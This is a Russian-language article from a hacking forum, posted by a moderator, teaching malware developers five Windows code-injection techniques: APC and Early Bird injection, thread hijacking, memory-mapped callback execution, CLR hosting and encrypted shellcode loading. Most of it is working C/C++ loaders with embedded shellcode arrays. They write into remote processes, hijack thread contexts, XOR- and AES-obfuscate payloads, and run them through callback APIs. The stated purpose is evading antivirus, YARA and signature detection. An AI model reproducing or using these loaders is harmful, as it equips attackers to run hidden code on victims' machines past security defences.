• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Современные техники внедрения и выполнения кода

tenac1ous

Shellcode
Модератор
Регистрация
22.01.2023
Сообщения
169
Реакции
224
Малвдев требует не только скрытности, но и глубокого понимания механизмов внедрения и выполнения кода. В этой статье мы разберем пять полезных техник: APC Injection, Thread Hijacking, Memory-Mapped Files с Callback, CLR Hosting и Dynamic Code Signing.


Asynchronous Procedure Call (APC) Injection

Что это: APC — механизм Windows, позволяющий планировать выполнение функции в контексте потока. Мы можем "вставить" вызов в поток жертвы, который будет выполнен, когда поток перейдет в alertable state (ожидание с флагом ALERTABLE).

Процесс работы зверька:
  1. Получаем handle к целевому потоку (OpenThread).
  2. Аллоцируем память в процессе жертвы (VirtualAllocEx).
  3. Пишем туда shellcode (WriteProcessMemory).
  4. Используем NtQueueApcThread, чтобы вставить адрес shellcode как APC.
  5. Ждем, пока поток перейдет в alertable state (например, при WaitForSingleObjectEx).
C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Windows.h>


unsigned char payload[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

int main(int argc, char* argv[]) {
 using resolvedNtTestAlert = NTSTATUS(NTAPI*)();
 SIZE_T payloadLen = sizeof(payload);
 resolvedNtTestAlert executor = (resolvedNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));

 LPVOID newMemorySpace = VirtualAlloc(NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 WriteProcessMemory(GetCurrentProcess(), newMemorySpace, payload, payloadLen, NULL);

 PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)newMemorySpace;
 QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
 executor();

 return 0;
}

Ну этот механизм можно внедрять более интересным способом, а именно
Сын маминой подруги: Early Bird APC
Вместо инжекта в уже работающий поток, создается новый процесс в suspended state (CreateProcess с CREATE_SUSPENDED). До его инициализации (до вызова ResumeThread) мы инжектим APC. При запуске потока shellcode выполняется до загрузки большинства детектируемых DLL и хуков AV.

C:
#include<stdio.h>
#include<Windows.h>

int main() {

 //shellcode for Hello World PopUp Message
 unsigned char buf[]= "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
  "\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
  "\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
  "\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
  "\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
  "\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
  "\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
  "\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
  "\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
  "\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
  "\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
  "\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
  "\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
  "\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
  "\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
  "\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
  "\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
  "\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
  "\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
  "\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
  "\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
  "\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
  "\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
  "\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
  "\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
  "\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
  "\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
  "\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
  "\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";

 SIZE_T payload_size = sizeof(buf);

 //give configuration and information about the newly create process
 STARTUPINFOA startprocess = { 0 };
 PROCESS_INFORMATION processinfo = { 0 };
 PVOID remotebuffer = 0;
 DWORD oldprotection = NULL;
 
 
 //Create a new process
 char newproc[] = "C:\\Windows\\System32\\calc.exe";
 if (!CreateProcessA(newproc, NULL, NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &startprocess, &processinfo)) {
  wprintf(L"Failed to Create a New Process !\n", GetLastError());
  return 1;
 }
 HANDLE hprocess = processinfo.hProcess;
 HANDLE hthread = processinfo.hThread;
 
 //Allocate memory on the newly created process
 remotebuffer = VirtualAllocEx(hprocess, NULL, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 if (remotebuffer == NULL) {
  wprintf(L"Failed to allocate the memory!\n", GetLastError());
  CloseHandle(hprocess);
  CloseHandle(hthread);
  return 1;
 }
 PTHREAD_START_ROUTINE apcroutine = (PTHREAD_START_ROUTINE)remotebuffer;

 printf("Allocated the memory : %p\n", remotebuffer);

 //Write Payload/shellcode into the remote buffer
 if (!WriteProcessMemory(hprocess, remotebuffer, buf, payload_size, NULL)) {
  wprintf(L"Failed to Write Payload into the memory\n", GetLastError());
  CloseHandle(hprocess);
  CloseHandle(hthread);
  return 1;
 
 }

 //Changing Memory protection from RW -> RX
 if (!VirtualProtectEx(hprocess, remotebuffer, payload_size, PAGE_EXECUTE_READ, &oldprotection)) {
  wprintf(L"Failed to Change the memory protection!\n", GetLastError());
  CloseHandle(hprocess);
  CloseHandle(hthread);
  return 1;
 }

 //Queue the payload
 QueueUserAPC((PAPCFUNC)apcroutine, hthread, NULL);

 ResumeThread(hthread);
 return 0;
}

Преимущества:
  • Не создается новый поток.
  • Трудно обнаружить, особенно при Early Bird.

Thread Hijacking

Что это: Перехват управления уже существующим потоком, заменив его контекст (CPU-регистры), особенно RIP (на x64).

Процесс работы зверька:
  1. Приостанавливаем поток (SuspendThread).
  2. Получаем его контекст (GetThreadContext или NtGetContextThread).
  3. Изменяем RIP на адрес нашего shellcode (SetThreadContext / NtSetContextThread).
  4. Возобновляем поток (ResumeThread).
C:
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>

using namespace std;

// Function to get process ID by its name
int getPIDbyProcName(const string& procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    if (Process32FirstW(hSnap, &pe32) != FALSE) {
        while (pid == 0 && Process32NextW(hSnap, &pe32) != FALSE) {
            wstring wideProcName(procName.begin(), procName.end());
            if (wcscmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
                pid = pe32.th32ProcessID;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

// Function to find a thread belonging to a given process ID
HANDLE findThread(DWORD pid) {
    HANDLE hSnapshot;
    THREADENTRY32 tEntry;
    HANDLE hThread;
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    tEntry.dwSize = sizeof(tEntry);

    while (Thread32Next(hSnapshot, &tEntry)) {
        if (tEntry.th32OwnerProcessID == pid) {
            hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tEntry.th32ThreadID);
            if (hThread == NULL || tEntry.th32ThreadID == 0) {
                continue;
            }
            else {
                return hThread;
            }
        }
    }
    return NULL;
}

// Function to get process handle by its PID
HANDLE getHandleProcessByPID(DWORD pid) {
    HANDLE hSnapshot;
    PROCESSENTRY32 pEntry;
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    pEntry.dwSize = sizeof(pEntry);
    HANDLE hProcess = NULL;

    while (Process32Next(hSnapshot, &pEntry)) {
        if (pEntry.th32ProcessID == pid) {
            hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pEntry.th32ProcessID);
            if (hProcess == NULL || pEntry.th32ProcessID == 0) {
                continue;
            }
            else {
                return hProcess;
            }
        }
    }
}

// Function to get the thread's CONTEXT structure
CONTEXT getThreadContext(HANDLE hThread) {
    CONTEXT context;
    context.ContextFlags = CONTEXT_FULL;
    SuspendThread(hThread);
    GetThreadContext(hThread, &context);
    return context;
}

int main() {
    HANDLE hThread;
    CONTEXT context;
    int pid;

    // Get process and thread information
    pid = getPIDbyProcName("notepad.exe");
    hThread = findThread(pid);
    context = getThreadContext(hThread);
    HANDLE hProcess = getHandleProcessByPID(pid);

    // Get the address of VirtualAlloc
    LPVOID functionAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAlloc");

    // Allocate memory for the return stub inside the remote process
    LPVOID returnStub = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!returnStub) {
        printf("Error allocating stub in remote process\n");
        return -1;
    }

    // Assembly code to capture RAX and return execution
    BYTE stubCode[] = {
        0x50,                                      // push rax (Save RAX)
        0x48, 0xA3,                                // mov qword ptr [returnStub], rax
        0, 0, 0, 0, 0, 0, 0, 0,                    // (Memory address of returnStub)
        0x58,                                      // pop rax (Restore RAX)
        0xC3                                       // ret (Return execution)
    };

    // Insert the address of returnStub into stubCode
    memcpy(&stubCode[3], &returnStub, sizeof(LPVOID));

    // Write the stub into the remote process memory
    WriteProcessMemory(hProcess, returnStub, stubCode, sizeof(stubCode), NULL);

    // Reserve stack space in the remote thread
    DWORD64 remoteStack = context.Rsp - 8;

    // Write the return stub address onto the remote stack
    WriteProcessMemory(hProcess, (LPVOID)remoteStack, &returnStub, sizeof(returnStub), NULL);

    // Modify the thread context to execute VirtualAlloc
    context.Rip = (DWORD_PTR)functionAddress;
    context.Rcx = NULL;                        // lpAddress
    context.Rdx = 0x1000;                      // dwSize
    context.R8 = MEM_COMMIT | MEM_RESERVE;     // flAllocationType
    context.R9 = PAGE_EXECUTE_READWRITE;       // flProtect

    // Point the return address to our stub
    context.Rsp = remoteStack;

    // Apply the modified context
    SetThreadContext(hThread, &context);
    
    ResumeThread(hThread);

    // Wait for the thread to execute VirtualAlloc
    Sleep(100);

    // Read the value of allocatedMemory from the stub
    LPVOID allocatedMemory;
    ReadProcessMemory(hProcess, returnStub, &allocatedMemory, sizeof(LPVOID), NULL);

    cout << "Thread hijacking successful! Allocated memory: " << allocatedMemory << endl;
    getchar();
    return 0;
}

Преимущества:
  • Нет создания новых потоков.
  • Выглядит как легитимный поток.

Недостатки:
  • Поток может быть в нестабильном состоянии. Нужно уметь выбирать моменты, когда он в ожидании.

Memory-Mapped Files + Callback APIs


Что это: Инжекция shellcode в разделяемое отображение памяти и активация через легитимные callback функции.

Процесс работы зверька (я уже заебался это писать):
  1. Создаём файл в памяти (CreateFileMapping).
  2. Отображаем его в адресное пространство (MapViewOfFile).
  3. Пишем shellcode в память.
  4. Используем API с callback, которые вызывают переданную функцию. Например CopyFile2, где можно указать COPYFILE2_EXTENDED_PARAMETERS::pProgressRoutine.

C:
#include <windows.h>
#include <psapi.h>
#include <stdio.h>

#pragma comment(lib, "psapi.lib")

// XOR key for encoding/decoding the shellcode
#define XOR_KEY 0xAA

// MessageBox shellcode (MessageBoxA(NULL, "Callback Executed!", "Info", MB_OK))
// XOR-encoded with 0xAA
unsigned char encodedShellcode[] = {
    0xeb, 0x0e, 0x5b, 0x31, 0xc9, 0xb1, 0x19, 0x80, 0x73, 0x0a, 0xaa, 0x43,
    0xe2, 0xfa, 0xeb, 0x05, 0xe8, 0xed, 0xff, 0xff, 0xff, 0xe3, 0x05, 0xaa,
    0xa2, 0xc9, 0xc9, 0x8b, 0x43, 0x30, 0xaa, 0x53, 0x51, 0x53, 0x68, 0x21,
    0x21, 0xaa, 0x68, 0x64, 0x65, 0x64, 0x68, 0x43, 0x61, 0x6c, 0xaa, 0x8d,
    0x4b, 0x10, 0x53, 0xff, 0xd0
};

// Decodes the shellcode in-place using XOR
void decodeShellcode(unsigned char* shellcode, SIZE_T size, unsigned char key) {
    for (SIZE_T i = 0; i < size; i++) {
        shellcode[i] ^= key;
    }
}

int main() {
    SIZE_T shellcodeSize = sizeof(encodedShellcode);

    // Create a memory-mapped section with executable permissions
    HANDLE hMap = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, (DWORD)shellcodeSize, NULL);
    if (!hMap) {
        printf("CreateFileMappingW failed: %lu\n", GetLastError());
        return -1;
    }

    // Map the section into the current process address space
    LPVOID pMap = MapViewOfFile(hMap, FILE_MAP_ALL_ACCESS, 0, 0, shellcodeSize);
    if (!pMap) {
        printf("MapViewOfFile failed: %lu\n", GetLastError());
        CloseHandle(hMap);
        return -1;
    }

    // Copy the encoded shellcode into the mapped memory
    memcpy(pMap, encodedShellcode, shellcodeSize);

    // Decode it in-place to make it executable
    decodeShellcode((unsigned char*)pMap, shellcodeSize, XOR_KEY);

    // Trigger execution via a callback-based API (EnumPageFilesW)
    EnumPageFilesW((PENUM_PAGE_FILE_CALLBACKW)pMap, NULL);

    // Cleanup
    UnmapViewOfFile(pMap);
    CloseHandle(hMap);
    return 0;
}


Другие API подходящие под эти цели: BindImageEx, ImageGetDigestStream, EnumSystemLocalesEx.


Преимущества:
  • Легитимные API вызывают shellcode.
  • Не требует создания потоков.
CLR Hosting

Что это: Загрузка shellcode через API .NET CLR, что позволяет обойти сигнатурное сканирование и использовать механизм выполнения .NET.


Процесс:
  1. Загружаем CLR в текущий процесс (CLRCreateInstance, ICLRRuntimeHost::Start).
  2. Загружаем и выполняем код с помощью ExecuteInDefaultAppDomain.

Пример:

Преимущества:
  • Возможность скрытия shellcode в .NET DLL.
  • Хорошая интеграция с PowerShell, C# payload'ами

Dynamic Code Signing


Что это: Генерация криптографически подписанного shellcode в рантайме, используя легитимные криптофункции Windows (bcrypt.dll), чтобы обойти детекторы, которые завязанные на сигнатурах и хешах.


Процесс:
  1. Создаем ECDH-ключи через BCryptSecretAgreement, BCryptGenerateKeyPair.
  2. Соглашаем ключ с "сервером".
  3. Шифруем/подписываем shellcode в рантайме.
  4. Расшифровываем и исполняем только в оперативной памяти.

C:
#include <windows.h>
#include <bcrypt.h>
#include <psapi.h>
#include <stdio.h>

#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "psapi.lib")

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define AES_KEY_SIZE 16 // AES-128

// Example shellcode: MessageBoxA(NULL, "Signed Shellcode", "Notice", MB_OK)
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
    0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
    0x65, 0x48, 0x8b, 0x52, 0x60, // <... trimmed for brevity ...>
};

// Hardcoded AES key (in real use: generate at runtime via BCryptGenRandom)
const BYTE aesKey[AES_KEY_SIZE] = {
    0x1a, 0x2b, 0x3c, 0x4d, 0x5e, 0x6f, 0x7a, 0x8b,
    0x9c, 0xad, 0xbe, 0xcf, 0xda, 0xeb, 0xfc, 0x0d
};

// Encrypt shellcode using AES and return allocated buffer
BYTE* encryptShellcode(BYTE* data, DWORD size, DWORD* outSize) {
    BCRYPT_ALG_HANDLE hAlg = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;
    NTSTATUS status;
    DWORD cbData, cbCipherText;
    BYTE* cipherText = NULL;

    status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    if (!NT_SUCCESS(status)) return NULL;

    status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_ECB, sizeof(BCRYPT_CHAIN_MODE_ECB), 0);
    if (!NT_SUCCESS(status)) return NULL;

    status = BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)aesKey, AES_KEY_SIZE, 0);
    if (!NT_SUCCESS(status)) return NULL;

    status = BCryptEncrypt(hKey, data, size, NULL, NULL, 0, NULL, 0, &cbCipherText, 0);
    if (!NT_SUCCESS(status)) return NULL;

    cipherText = (BYTE*)VirtualAlloc(NULL, cbCipherText, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!cipherText) return NULL;

    status = BCryptEncrypt(hKey, data, size, NULL, NULL, 0, cipherText, cbCipherText, &cbData, 0);
    if (!NT_SUCCESS(status)) return NULL;

    *outSize = cbData;

    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);

    return cipherText;
}

// Decrypt AES buffer using legit Windows APIs
BOOL decryptShellcode(BYTE* cipherText, DWORD size, BYTE** outShellcode) {
    BCRYPT_ALG_HANDLE hAlg = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;
    NTSTATUS status;
    DWORD cbData;
    BYTE* plainText = NULL;

    status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    if (!NT_SUCCESS(status)) return FALSE;

    status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_ECB, sizeof(BCRYPT_CHAIN_MODE_ECB), 0);
    if (!NT_SUCCESS(status)) return FALSE;

    status = BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)aesKey, AES_KEY_SIZE, 0);
    if (!NT_SUCCESS(status)) return FALSE;

    plainText = (BYTE*)VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!plainText) return FALSE;

    status = BCryptDecrypt(hKey, cipherText, size, NULL, NULL, 0, plainText, size, &cbData, 0);
    if (!NT_SUCCESS(status)) return FALSE;

    *outShellcode = plainText;

    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);

    return TRUE;
}

int main() {
    DWORD encSize;
    BYTE* encrypted = encryptShellcode(shellcode, sizeof(shellcode), &encSize);
    if (!encrypted) {
        printf("Encryption failed.\n");
        return -1;
    }

    BYTE* execShellcode = NULL;
    if (!decryptShellcode(encrypted, encSize, &execShellcode)) {
        printf("Decryption failed.\n");
        return -1;
    }

    // Optional: execute via EnumPageFilesW (obscure callback vector)
    EnumPageFilesW((PENUM_PAGE_FILE_CALLBACKW)execShellcode, NULL);

    return 0;
}

Преимущества:
  • Каждый shellcode уникальный и не палится на уровне сигнатур.
  • Очень сложно детектировать с помощью YARA, и опять же таки сигнатур, AV.

Заключение​

Эти техники не просто трюки, а фундаментальные подходы к обходу современных систем защиты. Надо понимать не только как использовать их, но и как адаптировать под конкретные цели и условия. Статья как раз разчитана на таких людей.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх